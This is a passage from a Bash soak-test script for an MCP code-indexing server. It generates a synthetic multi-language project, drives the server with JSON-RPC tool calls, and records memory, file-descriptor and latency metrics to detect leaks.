# a query-only leak. Phase 3 then hammers a variety of READ tools
|
||||
# (search_graph / query_graph / trace_path / get_code_snippet /
|
||||
# search_code) to exercise the query-only store-open + WAL + alloc
|
||||
# paths the bug report implicates. The RSS slope/ratio/ceiling
|
||||
# analysis below is the leak detector. The crash-recovery phase is
|
||||
# skipped in this mode because it reindexes (which would mask #581).
|
||||
CBM_SOAK_MODE="${CBM_SOAK_MODE:-default}"
|
||||
|
||||
RESULTS_DIR="${RESULTS_DIR:-soak-results}"
|
||||
mkdir -p "$RESULTS_DIR"
|
||||
|
||||
# Isolate daemon coordination from interactive CBM sessions and give this run
|
||||
# a deterministic host-side daemon log. Wine needs a Windows-form cache path
|
||||
# in the child environment while this Bash harness retains the host path.
|
||||
#
|
||||
# On native Windows the cache CANNOT live under msys /tmp: the server's
|
||||
# cache-private executable-identity check walks the cache path's ancestors
|
||||
# and fails closed on C:\msys64, whose DACL grants mutation to Authenticated
|
||||
# Users. Place it under the user profile and stamp a reset-first strict DACL.
|
||||
soak_stamp_windows_dir() {
|
||||
local dir_w me output
|
||||
dir_w="$(cygpath -w "$1")"
|
||||
me="$(whoami | tr -d '\r')"
|
||||
if ! output=$(MSYS2_ARG_CONV_EXCL='*' icacls "$dir_w" /reset /Q 2>&1); then
|
||||
echo "FAIL: soak DACL normalize failed (dir=$dir_w user=$me)" >&2
|
||||
printf '%s\n' "$output" >&2
|
||||
return 1
|
||||
fi
|
||||
if ! output=$(MSYS2_ARG_CONV_EXCL='*' icacls "$dir_w" /inheritance:r \
|
||||
/grant:r "${me}:(OI)(CI)F" '*S-1-5-18:(OI)(CI)F' '*S-1-5-32-544:(OI)(CI)F' \
|
||||
/Q 2>&1); then
|
||||
echo "FAIL: soak DACL stamp failed (dir=$dir_w user=$me)" >&2
|
||||
printf '%s\n' "$output" >&2
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
SOAK_WIN_ROOT=""
|
||||
SOAK_NATIVE_WINDOWS=false
|
||||
if [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1 &&
|
||||
! command -v winepath >/dev/null 2>&1; then
|
||||
SOAK_NATIVE_WINDOWS=true
|
||||
# The server's cache-private hardening walks the FULL ancestor chain of
|
||||
# both the executable and the cache dir and fails (or silently disables
|
||||
# diagnostics) on any ancestor granting mutation to untrusted SIDs. The
|
||||
# msys /tmp tree and repo checkouts both carry such ACEs, so neither can
|
||||
# host the soak. The user profile is the one ancestry that is clean on
|
||||
# runners and dev machines alike — the Windows guard suites already run
|
||||
# their binaries from copies there for the same reason. Copy the binary
|
||||
# into a stamped root under USERPROFILE and cache beside it.
|
||||
SOAK_WIN_ROOT=$(mktemp -d "$(cygpath "$USERPROFILE")/cbm-soak.XXXXXX")
|
||||
if ! soak_stamp_windows_dir "$SOAK_WIN_ROOT"; then
|
||||
rm -rf -- "$SOAK_WIN_ROOT"
|
||||
exit 1
|
||||
fi
|
||||
cp "$BINARY" "$SOAK_WIN_ROOT/codebase-memory-mcp.exe"
|
||||
BINARY="$SOAK_WIN_ROOT/codebase-memory-mcp.exe"
|
||||
SOAK_CACHE_DIR_HOST="$SOAK_WIN_ROOT/cache"
|
||||
mkdir -p "$SOAK_CACHE_DIR_HOST"
|
||||
SOAK_WIN_ROOT_W="$(cygpath -w "$SOAK_WIN_ROOT")"
|
||||
if ! SOAK_DACL_OUTPUT=$(MSYS2_ARG_CONV_EXCL='*' icacls "${SOAK_WIN_ROOT_W}\\*" \
|
||||
/reset /T /C /Q 2>&1); then
|
||||
echo "FAIL: soak child DACL reset failed (dir=$SOAK_WIN_ROOT_W)" >&2
|
||||
printf '%s\n' "$SOAK_DACL_OUTPUT" >&2
|
||||
rm -rf -- "$SOAK_WIN_ROOT"
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
SOAK_CACHE_DIR_HOST=$(mktemp -d "${TMPDIR:-/tmp}/cbm-soak-cache.XXXXXX")
|
||||
fi
|
||||
SOAK_CACHE_DIR_VALUE="$SOAK_CACHE_DIR_HOST"
|
||||
if [[ "$BINARY" == *.exe ]] && command -v winepath >/dev/null 2>&1; then
|
||||
SOAK_CACHE_DIR_VALUE=$(winepath -w "$SOAK_CACHE_DIR_HOST")
|
||||
elif [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1; then
|
||||
SOAK_CACHE_DIR_VALUE=$(cygpath -w "$SOAK_CACHE_DIR_HOST")
|
||||
fi
|
||||
DAEMON_LOG="$SOAK_CACHE_DIR_HOST/logs/cbm-daemon.log"
|
||||
DIAG_FILE=""
|
||||
|
||||
METRICS_CSV="$RESULTS_DIR/metrics.csv"
|
||||
LATENCY_CSV="$RESULTS_DIR/latency.csv"
|
||||
SUMMARY="$RESULTS_DIR/summary.txt"
|
||||
|
||||
echo "timestamp,uptime_s,rss_bytes,heap_committed,fd_count,query_count,query_max_us" > "$METRICS_CSV"
|
||||
echo "timestamp,tool,duration_ms,exit_code" > "$LATENCY_CSV"
|
||||
: > "$SUMMARY"
|
||||
PASS=true
|
||||
|
||||
DURATION_S=$((DURATION_MIN * 60))
|
||||
|
||||
echo "=== soak-test: binary=$BINARY duration=${DURATION_MIN}m mode=${CBM_SOAK_MODE} ==="
|
||||
|
||||
# ── Helper: generate realistic test project (~200 files) ─────────
|
||||
|
||||
SOAK_PROJECT=$(mktemp -d)
|
||||
SOAK_PROJECT_VALUE="$SOAK_PROJECT"
|
||||
if [[ "$BINARY" == *.exe ]] && command -v winepath >/dev/null 2>&1; then
|
||||
SOAK_PROJECT_VALUE=$(winepath -w "$SOAK_PROJECT")
|
||||
SOAK_PROJECT_VALUE=${SOAK_PROJECT_VALUE//\\//}
|
||||
elif [[ "$BINARY" == *.exe ]] && command -v cygpath >/dev/null 2>&1; then
|
||||
SOAK_PROJECT_VALUE=$(cygpath -m "$SOAK_PROJECT")
|
||||
fi
|
||||
# Every JSON request uses one pre-escaped spelling of the path. The Bash
|
||||
# harness keeps SOAK_PROJECT in its host/MSYS form for file and Git operations,
|
||||
# while a native Windows child receives the drive-letter form above.
|
||||
SOAK_PROJECT_JSON=$(python3 -c 'import json,sys; print(json.dumps(sys.argv[1]))' "$SOAK_PROJECT_VALUE")
|
||||
SERVER_PID=""
|
||||
SERVER_IN=""
|
||||
SERVER_OUT=""
|
||||
SOAK_CLEANED=false
|
||||
|
||||
soak_cleanup() {
|
||||
if $SOAK_CLEANED; then
|
||||
return
|
||||
fi
|
||||
SOAK_CLEANED=true
|
||||
{ exec 3>&-; } 2>/dev/null || true
|
||||
{ exec 4<&-; } 2>/dev/null || true
|
||||
if [[ "${SERVER_PID:-}" =~ ^[0-9]+$ ]]; then
|
||||
kill "$SERVER_PID" 2>/dev/null || true
|
||||
wait "$SERVER_PID" 2>/dev/null || true
|
||||
SERVER_PID=""
|
||||
fi
|
||||
[ -z "${SERVER_IN:-}" ] || rm -f -- "$SERVER_IN"
|
||||
[ -z "${SERVER_OUT:-}" ] || rm -f -- "$SERVER_OUT"
|
||||
if [ -f "$DAEMON_LOG" ]; then
|
||||
cp "$DAEMON_LOG" "$RESULTS_DIR/cbm-daemon.log" 2>/dev/null || true
|
||||
fi
|
||||
rm -rf -- "$SOAK_PROJECT" "$SOAK_CACHE_DIR_HOST"
|
||||
[ -z "${SOAK_WIN_ROOT:-}" ] || rm -rf -- "$SOAK_WIN_ROOT"
|
||||
}
|
||||
|
||||
# MSYS filesystem FIFOs do not provide a faithful stdin stream to a native
|
||||
# Windows process: the child observes a clean EOF before the writer's first
|
||||
# request. Use Bash's anonymous coprocess pipes for that one platform. Keep the
|
||||
# coproc syntax inside eval so macOS's system Bash 3.2 can still parse this
|
||||
# script; that branch is reached only by MSYS2 Bash 5. POSIX hosts retain the
|
||||
# established FIFO transport.
|
||||
start_mcp_server() {
|
||||
local stderr_mode="$1"
|
||||
if $SOAK_NATIVE_WINDOWS; then
|
||||
unset CBM_SOAK_SERVER CBM_SOAK_SERVER_PID || true
|
||||
if [ "$stderr_mode" = "append" ]; then
|
||||
eval 'coproc CBM_SOAK_SERVER {
|
||||
export CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE"
|
||||
export CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info CBM_LOG_FORMAT=text
|
||||
exec "$BINARY" 2>>"$RESULTS_DIR/server-stderr.log"
|
||||
}'
|
||||
else
|
||||
eval 'coproc CBM_SOAK_SERVER {
|
||||
export CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE"
|
||||
export CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info CBM_LOG_FORMAT=text
|
||||
exec "$BINARY" 2>"$RESULTS_DIR/server-stderr.log"
|
||||
}'
|
||||
fi
|
||||
SERVER_PID=$CBM_SOAK_SERVER_PID
|
||||
local server_read_fd="${CBM_SOAK_SERVER[0]}"
|
||||
local server_write_fd="${CBM_SOAK_SERVER[1]}"
|
||||
exec 3>&"$server_write_fd"
|
||||
exec 4<&"$server_read_fd"
|
||||
# Only fd3/fd4 may retain the parent endpoints. Otherwise closing fd3
|
||||
# during crash/shutdown would leave the original writer open and the
|
||||
# native frontend would never observe EOF.
|
||||
eval "exec ${server_write_fd}>&-"
|
||||
eval "exec ${server_read_fd}<&-"
|
||||
return
|
||||
fi
|
||||
|
||||
if [ "$stderr_mode" = "append" ]; then
|
||||
CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE" CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info \
|
||||
CBM_LOG_FORMAT=text "$BINARY" < "$SERVER_IN" > "$SERVER_OUT" \
|
||||
2>>"$RESULTS_DIR/server-stderr.log" &
|
||||
else
|
||||
CBM_CACHE_DIR="$SOAK_CACHE_DIR_VALUE" CBM_DIAGNOSTICS=1 CBM_LOG_LEVEL=info \
|
||||
CBM_LOG_FORMAT=text "$BINARY" < "$SERVER_IN" > "$SERVER_OUT" \
|
||||
2>"$RESULTS_DIR/server-stderr.log" &
|
||||
fi
|
||||
SERVER_PID=$!
|
||||
# Open fds AFTER server starts (otherwise FIFO open blocks).
|
||||
exec 3>"$SERVER_IN"
|
||||
exec 4<"$SERVER_OUT"
|
||||
}
|
||||
|
||||
trap soak_cleanup EXIT
|
||||
trap 'exit 130' INT TERM
|
||||
|
||||
generate_project() {
|
||||
local root="$1"
|
||||
# Python package (80 files)
|
||||
for i in $(seq 1 20); do
|
||||
local pkg="$root/src/pkg_${i}"
|
||||
mkdir -p "$pkg"
|
||||
cat > "$pkg/__init__.py" << PYEOF
|
||||
from .handlers import handle_${i}
|
||||
from .models import Model${i}
|
||||
PYEOF
|
||||
cat > "$pkg/handlers.py" << PYEOF
|
||||
from .models import Model${i}
|
||||
from .utils import validate_${i}, transform_${i}
|
||||
|
||||
def handle_${i}(request):
|
||||
data = Model${i}.from_request(request)
|
||||
if not validate_${i}(data):
|
||||
return {"error": "invalid"}
|
||||
return transform_${i}(data)
|
||||
|
||||
def process_batch_${i}(items):
|
||||
return [handle_${i}(item) for item in items]
|
||||
PYEOF
|
||||
cat > "$pkg/models.py" << PYEOF
|
||||
class Model${i}:
|
||||
def __init__(self, name, value):
|
||||
self.name = name
|
||||
self.value = value
|
||||
|
||||
@classmethod
|
||||
def from_request(cls, req):
|
||||
return cls(req.get("name", ""), req.get("value", 0))
|
||||
|
||||
def to_dict(self):
|
||||
return {"name": self.name, "value": self.value}
|
||||
PYEOF
|
||||
cat > "$pkg/utils.py" << PYEOF
|
||||
def validate_${i}(data):
|
||||
return data is not None and hasattr(data, 'name')
|
||||
|
||||
def transform_${i}(data):
|
||||
return {"result": data.name.upper(), "score": data.value * ${i}}
|
||||
PYEOF
|
||||
done
|
||||
|
||||
# Go package (40 files)
|
||||
mkdir -p "$root/internal/api" "$root/internal/store" "$root/cmd"
|
||||
for i in $(seq 1 20); do
|
||||
cat > "$root/internal/api/handler_${i}.go" << GOEOF
|
||||
package api
|
||||
|
||||
import "fmt"
|
||||
|
||||
func HandleRoute${i}(path string) (string, error) {
|
||||
result := ProcessData${i}(path)
|
||||
return fmt.Sprintf("route_%d: %s", ${i}, result), nil
|
||||
}
|
||||
|
||||
func ProcessData${i}(input string) string {
|
||||
return fmt.Sprintf("processed_%d_%s", ${i}, input)
|
||||
}
|
||||
GOEOF
|
||||
cat > "$root/internal/store/repo_${i}.go" << GOEOF
|
||||
package store
|
||||
|
||||
type Entity${i} struct {
|
||||
ID int
|
||||
Name string
|
||||
Data map[string]interface{}
|
||||
}
|
||||
|
||||
func FindEntity${i}(id int) (*Entity${i}, error) {
|
||||
return &Entity${i}{ID: id, Name: "entity"}, nil
|
||||
}
|
||||
|
||||
func SaveEntity${i}(e *Entity${i}) error {
|
||||
return nil
|
||||
}
|
||||
GOEOF
|
||||
done
|
||||
|
||||
# TypeScript (40 files)
|
||||
mkdir -p "$root/frontend/src/components" "$root/frontend/src/hooks"
|
||||
for i in $(seq 1 20); do
|
||||
cat > "$root/frontend/src/components/Component${i}.tsx" << TSEOF
|
||||
import React from 'react';
|
||||
import { useData${i} } from '../hooks/useData${i}';
|
||||
|
||||
interface Props${i} { id: number; label: string; }
|
||||
|
||||
export const Component${i}: React.FC<Props${i}> = ({ id, label }) => {
|
||||
const { data, loading } = useData${i}(id);
|
||||
if (loading) return <div>Loading...</div>;
|
||||
return <div className="comp-${i}">{label}: {JSON.stringify(data)}</div>;
|
||||
};
|
||||
TSEOF
|
||||
cat > "$root/frontend/src/hooks/useData${i}.ts" << TSEOF
|
||||
import { useState, useEffect } from 'react';
|
||||
|
||||
export function useData${i}(id: number) {
|
||||
const [data, setData] = useState(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
useEffect(() => {
|
||||
fetch('/api/data/${i}/' + id)
|
||||
.then(r => r.json())
|
||||
.then(d => { setData(d); setLoading(false); });
|
||||
}, [id]);
|
||||
return { data, loading };
|
||||
}
|
||||
TSEOF
|
||||
done
|
||||
|
||||
# Config files
|
||||
cat > "$root/config.yaml" << 'YAMLEOF'
|
||||
database:
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool_size: 10
|
||||
server:
|
||||
workers: 4
|
||||
timeout: 30
|
||||
YAMLEOF
|
||||
cat > "$root/Dockerfile" << 'DEOF'
|
||||
FROM python:3.11-slim
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
RUN pip install -r requirements.txt
|
||||
CMD ["python", "-m", "src.main"]
|
||||
DEOF
|
||||
}
|
||||
|
||||
echo "Generating test project (~200 files)..."
|
||||
generate_project "$SOAK_PROJECT"
|
||||
|
||||
# Init git repo (required for watcher)
|
||||
git -C "$SOAK_PROJECT" init -q 2>/dev/null
|
||||
git -C "$SOAK_PROJECT" add -A 2>/dev/null
|
||||
git -C "$SOAK_PROJECT" -c user.email=test@test -c user.name=test commit -q -m "init" 2>/dev/null
|
||||
FILE_COUNT=$(find "$SOAK_PROJECT" -type f | wc -l | tr -d ' ')
|
||||
echo "OK: $FILE_COUNT files in test project"
|
||||
|
||||
# ── Helper: run CLI tool call and record latency ─────────────────
|
||||
|
||||
# Query ID counter
|
||||
QUERY_ID=1
|
||||
MCP_LAST_RESPONSE=""
|
||||
|
||||
# Send a JSON-RPC tool call to the running server via its stdin pipe.
|
||||
# Reads response from server stdout. Records latency.
|
||||
json_rpc_response_ok() {
|
||||
local expected_id="$1"
|
||||
local response="$2"
|
||||
python3 -c '
|
||||
import json
|
||||
import sys
|
||||
|
||||
try:
|
||||
message = json.loads(sys.stdin.read())
|
||||
result = message.get("result") if isinstance(message, dict) else None
|
||||
ok = (
|
||||
isinstance(message, dict)
|
||||
and message.get("id") == int(sys.argv[1])
|
||||
and "error" not in message
|
||||
and "result" in message
|
||||
and not (isinstance(result, dict) and result.get("isError") is True)
|
||||
)
|
||||
except (ValueError, TypeError):
|
||||
ok = False
|
||||
sys.exit(0 if ok else 1)
|
||||
' "$expected_id" <<<"$response"
|
||||
}
|
||||
|
||||
# Read the authoritative project key from index_repository's nested text JSON.
|
||||
# This mirrors the path canonicalization actually performed by CBM instead of
|
||||
# guessing from a host/MSYS spelling that can differ on macOS and Windows.
|
||||
mcp_response_project() {
|
||||
local response="$1"
|
||||
python3 -c '
|
||||
import json
|
||||
import sys
|
||||
|
||||
try:
|
||||
message = json.loads(sys.stdin.read())
|
||||
result = message.get("result", {})
|
||||
content = result.get("content", []) if isinstance(result, dict) else []
|
||||
project = ""
|
||||
for item in content:
|
||||
if isinstance(item, dict) and item.get("type") == "text":
|
||||
# The summary JSON may be preceded by plain-text banner items
|
||||
# (update-available notice); skip anything that is not JSON.
|
||||
try:
|
||||
payload = json.loads(item.get("text", ""))
|
||||
except ValueError:
|
||||
continue
|
||||
candidate = payload.get("project") if isinstance(payload, dict) else None
|
||||
if isinstance(candidate, str) and candidate:
|
||||
project = candidate
|
||||
break
|
||||
if not project:
|
||||
raise ValueError("index response has no project")
|
||||
print(project)
|
||||
except (ValueError, TypeError, AttributeError):
|
||||
sys.exit(1)
|
||||
' <<<"$response"
|
||||
}
|
||||
|
||||
mcp_initialize() {
|
||||
local response=""
|
||||
echo '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"capabilities":{}}}' >&3
|
||||
read -r -t 10 response <&4 2>/dev/null && json_rpc_response_ok 0 "$response"
|
||||
}
|
||||
|
||||
mcp_call() {
|
||||
local tool="$1"
|
||||
local args="$2"
|
||||
local id=$QUERY_ID
|
||||
QUERY_ID=$((QUERY_ID + 1))
|
||||
|
||||
local req="{\"jsonrpc\":\"2.0\",\"id\":$id,\"method\":\"tools/call\",\"params\":{\"name\":\"$tool\",\"arguments\":$args}}"
|
||||
local t0
|
||||
t0=$(python3 -c "import time; print(int(time.time()*1000))")
|
||||
|
||||
# Send request to server stdin
|
||||
echo "$req" >&3
|
||||
|
||||
# Read and validate one response (wait up to 30s). A JSON-RPC error or
|
||||
# tool-level isError is a failed operation, not a successful round-trip.
|
||||
local resp=""
|
||||
local exit_code=1
|
||||
MCP_LAST_RESPONSE=""
|
||||
if read -r -t 30 resp <&4 2>/dev/null; then
|
||||
MCP_LAST_RESPONSE="$resp"
|
||||
if json_rpc_response_ok "$id" "$resp"; then
|
||||
exit_code=0
|
||||
else
|
||||
# A stale (previous, late) response desyncs every later
|
||||
# round-trip: drain queued lines until the matching id shows up
|
||||
# or the stream runs dry, so one slow reply costs one failed op
|
||||
# instead of corrupting the whole run's verdicts.
|
||||
local drain=""
|
||||
while read -r -t 2 drain <&4 2>/dev/null; do
|
||||
MCP_LAST_RESPONSE="$drain"
|
||||
if json_rpc_response_ok "$id" "$drain"; then
|
||||
exit_code=0
|
||||
break
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
local t1
|
||||
t1=$(python3 -c "import time; print(int(time.time()*1000))")
|
||||
local dur=$((t1 - t0))
|
||||
echo "$(date +%s),$tool,$dur,$exit_code" >> "$LATENCY_CSV"
|
||||
return "$exit_code"
|
||||
}
|
||||
|
||||
# ── Helper: collect diagnostics snapshot ─────────────────────────
|
||||
|
||||
diagnostics_host_path() {
|
||||
local emitted_path="$1"
|
||||
if [[ "$emitted_path" =~ ^[A-Za-z]:[/\\] ]] && command -v winepath >/dev/null 2>&1; then
|
||||
winepath -u "$emitted_path"
|
||||
elif [[ "$emitted_path" =~ ^[A-Za-z]:[/\\] ]] && command -v cygpath >/dev/null 2>&1; then
|
||||
cygpath -u "$emitted_path"
|
||||
else
|
||||
printf '%s\n' "$emitted_path"
|
||||
fi
|
||||
}
|
||||
|
||||
refresh_diagnostics_paths() {
|
||||
[ -f "$DAEMON_LOG" ] || return 1
|
||||
local start_line snapshot_path trajectory_path
|
||||
start_line=$(grep '"event":"diagnostics.start"' "$DAEMON_LOG" 2>/dev/null | tail -n 1) || true
|
||||
[ -n "$start_line" ] || return 1
|
||||
# The discovery record is JSON (a control record survives CBM_LOG_LEVEL
|
||||
# suppression); decode the two standard escapes temp paths can carry.
|
||||
snapshot_path=$(printf '%s\n' "$start_line" | sed -n 's/.*"snapshot":"\([^"]*\)".*/\1/p' |
|
||||
sed 's/\\\([\"\\/]\)/\1/g')
|
||||
trajectory_path=$(printf '%s\n' "$start_line" | sed -n 's/.*"trajectory":"\([^"]*\)".*/\1/p' |
|
||||
sed 's/\\\([\"\\/]\)/\1/g')
|
||||
[ -n "$snapshot_path" ] && [ -n "$trajectory_path" ] || return 1
|
||||
DIAG_FILE=$(diagnostics_host_path "$snapshot_path")
|
||||
}
|
||||
|
||||
diagnostics_start_count() {
|
||||
if [ -f "$DAEMON_LOG" ]; then
|
||||
grep -c '"event":"diagnostics.start"' "$DAEMON_LOG" 2>/dev/null || true
|
||||
else
|
||||
echo 0
|
||||
fi
|
||||
}
|
||||
|
||||
daemon_stop_count() {
|
||||
if [ -f "$DAEMON_LOG" ]; then
|
||||
grep -c 'msg=daemon.stop' "$DAEMON_LOG" 2>/dev/null || true
|
||||
else
|
||||
echo 0
|
||||
fi
|
||||
}
|
||||
|
||||
wait_for_daemon_stop() {
|
||||
local after_count="$1"
|
||||
local attempts=300
|
||||
while [ "$attempts" -gt 0 ]; do
|
||||
local current_count
|
||||
current_count=$(daemon_stop_count)
|
||||
if [ "${current_count:-0}" -gt "$after_count" ]; then
|
||||
return 0
|
||||
fi
|
||||
attempts=$((attempts - 1))
|
||||
sleep 0.1
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
wait_for_diagnostics_snapshot() {
|
||||
local after_count="${1:-0}"
|
||||
local previous_path="${2:-}"
|
||||
# 30s, not a 10s sprint: the first snapshot lands one diagnostics interval
|
||||
# (5s) after start, and a cold 4-vCPU hosted runner mid-initial-index can
|
||||
# push the first WRITE past 10s (observed: both Windows runner soak legs
|
||||
# died right after 'server running' while the daemon's own log shows a
|
||||
# perfectly healthy diagnostics.start — the VM's 18 cores never miss the
|
||||
# window). Budget doctrine: the wait sits above the worst case.
|
||||
local attempts=300
|
||||
while [ "$attempts" -gt 0 ]; do
|
||||
local current_count
|
||||
current_count=$(diagnostics_start_count)
|
||||
if [ "${current_count:-0}" -gt "$after_count" ] && refresh_diagnostics_paths &&
|
||||
[ -f "$DIAG_FILE" ] &&
|
||||
{ [ -z "$previous_path" ] || [ "$DIAG_FILE" != "$previous_path" ]; }; then
|
||||
return 0
|
||||
fi
|
||||
attempts=$((attempts - 1))
|
||||
sleep 0.1
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
SNAPSHOT_ATTEMPTS=0
|
||||
collect_snapshot() {
|
||||
SNAPSHOT_ATTEMPTS=$((SNAPSHOT_ATTEMPTS + 1))
|
||||
refresh_diagnostics_paths || return 0
|
||||
if [ -f "$DIAG_FILE" ]; then
|
||||
cat "$DIAG_FILE" 2>/dev/null | python3 -c '
|
||||
import json, sys, time
|
||||
d = json.load(sys.stdin)
|
||||
# Use heap_committed if available, otherwise RSS (mimalloc may report 0 for committed)
|
||||
mem = d.get("heap_committed_bytes", 0)
|
||||
if mem == 0: mem = d.get("rss_bytes", 0)
|
||||
print("{},{},{},{},{},{},{}".format(
|
||||
int(time.time()), d.get("uptime_s", 0), d.get("rss_bytes", 0), mem,
|
||||
d.get("fd_count", 0), d.get("query_count", 0), d.get("query_max_us", 0)))
|
||||
' 2>/dev/null >> "$METRICS_CSV"
|
||||
fi
|
||||
}
|
||||
|
||||
diagnostics_json_value() {
|
||||
local key="$1"
|
||||
refresh_diagnostics_paths || return 1
|
||||
cat "$DIAG_FILE" 2>/dev/null | python3 -c '
|
||||
import json
|
||||
import sys
|
||||
|
||||
value = json.load(sys.stdin).get(sys.argv[1], "")
|
||||
print(value)
|
||||
' "$key" 2>/dev/null
|
||||
}
|
||||
|
||||
# ── Phase 1: Start MCP server with diagnostics ──────────────────
|
||||
|
||||
echo "--- Phase 1: start server ---"
|
||||
# Bidirectional pipes: fd3 = server stdin (write), fd4 = server stdout (read)
|
||||
if ! $SOAK_NATIVE_WINDOWS; then
|
||||
SERVER_IN=$(mktemp -u).in
|
||||
SERVER_OUT=$(mktemp -u).out
|
||||
mkfifo "$SERVER_IN" "$SERVER_OUT"
|
||||
fi
|
||||
start_mcp_server truncate
|
||||
sleep 3
|
||||
|
||||
if ! kill -0 "$SERVER_PID" 2>/dev/null; then
|
||||
echo "FAIL: server did not start"
|
||||
echo "--- server stderr (tail) ---"
|
||||
tail -40 "$RESULTS_DIR/server-stderr.log" 2>/dev/null || echo "(no stderr captured)"
|
||||
exec 3>&- 4<&-
|
||||
rm -f "$SERVER_IN" "$SERVER_OUT"
|
||||
exit 1
|
||||
fi
|
||||
echo "OK: server running (pid=$SERVER_PID)"
|
||||
|
||||
if ! wait_for_diagnostics_snapshot; then
|
||||
echo "FAIL: daemon did not emit a usable diagnostics.start path"
|
||||
echo "--- server stderr (tail) ---"
|
||||
tail -40 "$RESULTS_DIR/server-stderr.log" 2>/dev/null || echo "(no stderr captured)"
|
||||
exec 3>&- 4<&-
|
||||
kill "$SERVER_PID" 2>/dev/null || true
|
||||
wait "$SERVER_PID" 2>/dev/null || true
|
||||
rm -f "$SERVER_IN" "$SERVER_OUT"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Send and validate the initialize handshake.
|
||||
if ! mcp_initialize; then
|
||||
echo "FAIL: server did not complete initialize"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# ── Phase 2: Initial index ───────────────────────────────────────
|
||||
|
||||
echo "--- Phase 2: initial index ---"
|
||||
mcp_call index_repository "{\"repo_path\":$SOAK_PROJECT_JSON}" || PASS=false
|
||||
if ! PROJ_NAME=$(mcp_response_project "$MCP_LAST_RESPONSE"); then
|
||||
echo "FAIL: initial index response did not report its canonical project key"
|
||||
exit 1
|
||||
fi
|
||||
sleep 6 # wait for diagnostics write
|
||||
collect_snapshot
|
||||
|
||||
BASELINE_RSS=$(cat "$DIAG_FILE" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('rss_bytes',0))" 2>/dev/null || echo "0")
|
||||
BASELINE_FDS=$(cat "$DIAG_FILE" 2>/dev/null | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('fd_count',0))" 2>/dev/null || echo "0")
|
||||
echo "OK: baseline RSS=${BASELINE_RSS} FDs=${BASELINE_FDS}"
|
||||
|
||||
# ── Phase 3: Compressed workload loop ────────────────────────────
|
||||
|
||||
echo "--- Phase 3: workload loop (${DURATION_MIN}m) ---"
|
||||
START_TIME=$(date +%s)
|
||||
END_TIME=$((START_TIME + DURATION_S))
|
||||
CYCLE=0
|
||||
LAST_MUTATE=0
|
||||
LAST_REINDEX=0
|
||||
|
||||
while [ "$(date +%s)" -lt "$END_TIME" ]; do
|
||||
NOW=$(date +%s)
|
||||
CYCLE=$((CYCLE + 1))
|
||||
|
||||
if [ "$CBM_SOAK_MODE" = "query-leak" ]; then
|
||||
# ── #581 query-only leak mode ────────────────────────────────
|
||||
# Pure read-query hammering: no mutation, no reindex — so
|
||||
# cbm_mem_collect (mimalloc page return) is NEVER triggered and
|
||||
# cannot sweep a query-only leak. Hammer a VARIETY of read tools to
|
||||
# exercise the store-open + WAL + alloc paths the report implicates.
|
||||
mcp_call search_graph "{\"project\":\"$PROJ_NAME\",\"name_pattern\":\".*Handle.*\"}" || PASS=false
|
||||
mcp_call query_graph "{\"project\":\"$PROJ_NAME\",\"query\":\"MATCH (n) RETURN n.name LIMIT 25\"}" || PASS=false
|
||||
mcp_call trace_path "{\"project\":\"$PROJ_NAME\",\"function_name\":\"handle_1\",\"direction\":\"both\"}" || PASS=false
|
||||
mcp_call get_code_snippet "{\"project\":\"$PROJ_NAME\",\"qualified_name\":\"handle_1\"}" || PASS=false
|
||||
mcp_call search_code "{\"project\":\"$PROJ_NAME\",\"pattern\":\"def \"}" || PASS=false
|
||||
else
|
||||
# ── default mode (unchanged) ─────────────────────────────────
|
||||
# Queries every 2 seconds
|
||||
mcp_call search_graph "{\"project\":\"$PROJ_NAME\",\"name_pattern\":\".*handle_.*\"}" || PASS=false
|
||||
mcp_call trace_path "{\"project\":\"$PROJ_NAME\",\"function_name\":\"handle_1\",\"direction\":\"both\"}" || PASS=false
|
||||
|
||||
# File mutation every 2 minutes
|
||||
if [ $((NOW - LAST_MUTATE)) -ge 120 ]; then
|
||||
echo "# mutation at cycle $CYCLE $(date)" >> "$SOAK_PROJECT/src/main.py"
|
||||
git -C "$SOAK_PROJECT" add -A 2>/dev/null
|
||||
git -C "$SOAK_PROJECT" -c user.email=test@test -c user.name=test commit -q -m "cycle $CYCLE" 2>/dev/null || true
|
||||
LAST_MUTATE=$NOW
|
||||
fi
|
||||
|
||||
# Full reindex every 2 minutes (compressed — simulates 15min real interval)
|
||||
if [ $((NOW - LAST_REINDEX)) -ge 120 ]; then
|
||||
mcp_call index_repository "{\"repo_path\":$SOAK_PROJECT_JSON}" || PASS=false
|
||||
LAST_REINDEX=$NOW
|
||||
fi
|
||||
fi
|
||||
|
||||
# Collect diagnostics every 10 seconds (5 cycles)
|
||||
if [ $((CYCLE % 5)) -eq 0 ]; then
|
||||
collect_snapshot
|
||||
fi
|
||||
|
||||
sleep 2
|
||||
done
|
||||
|
||||
# ── Phase 4: Idle period + final snapshot ────────────────────────
|
||||
|
||||
echo "--- Phase 4: idle (30s) ---"
|
||||
sleep 30
|
||||
collect_snapshot
|
||||
|
||||
# Check the actual daemon on platforms where its diagnostics PID shares the
|
||||
# host process namespace. Wine/native Windows use a different PID namespace,
|
||||
# so reporting the thin frontend as daemon CPU would be false coverage.
|
||||
DAEMON_PID=$(diagnostics_json_value pid)
|
||||
IDLE_CPU=""
|
||||
if [[ "$BINARY" != *.exe ]] && [[ "$DAEMON_PID" =~ ^[0-9]+$ ]]; then
|
||||
